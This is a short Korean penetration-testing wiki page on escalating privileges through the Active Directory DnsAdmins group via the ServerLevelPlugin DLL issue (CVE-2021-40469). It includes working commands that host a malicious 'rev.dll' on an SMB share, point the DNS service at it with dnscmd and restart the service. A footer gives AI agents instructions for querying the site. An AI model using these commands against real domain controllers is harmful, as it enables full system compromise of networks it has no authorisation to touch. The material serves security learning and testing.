# DnsAdmins

DnsAdmins 그룹은 Active Directory 환경에서만 존재하는 그룹이며 DC의 DNS에 관련되어 높은 권한을 가집니다. 기존에 이 그룹원은 DNS 서비스에서 불러오는 DLL인 ServerLevelPlugin에 대한 수정 권한이 있기 때문에 악성 DLL 코드를 삽입하거나 기존의 파일을 대체하여 시스템 권한을 얻을 수 있었습니다.

{% hint style="info" %}
2017년 5월 Shay Ber에 의해 밝혀진 이후 4년 뒤, Microsoft는 CVE-2021-40469 취약점으로 인정했습니다.
{% endhint %}

CVE에 대한 보안 패치가 적용된 서버에서는 DnsAdmins 그룹 구성원이 더이상 ServerLevelPlugin에 대해 쓰기 권한이 없습니다.

## Abuse

<pre class="language-bash"><code class="lang-bash"><strong># 악성 dll이 있는 경로에 서버 실행
</strong>impacket-smbserver share -smb2support .

<strong># ServerLevelPlugin에서 가져가도록 변경
</strong>dnscmd /config /serverlevelplugindll \\\\10.0.2.15\\share\\rev.dll

<strong># 서비스 재실행
</strong>Restart-Service dns
</code></pre>

## References

{% embed url="<https://blog.0patch.com/2021/11/micropatch-for-remote-code-execution-by.html>" %}

{% embed url="<https://www.labofapenetrationtester.com/2017/05/abusing-dnsadmins-privilege-for-escalation-in-active-directory.html>" %}


---

# Agent Instructions: Querying This Documentation

If you need additional information that is not directly available in this page, you can query the documentation dynamically by asking a question.

Perform an HTTP GET request on the current page URL with the `ask` query parameter:

```
GET https://www.pentestwiki.com/privilege-escalation/active-directory/dnsadmins.md?ask=<question>
```

The question should be specific, self-contained, and written in natural language.
The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
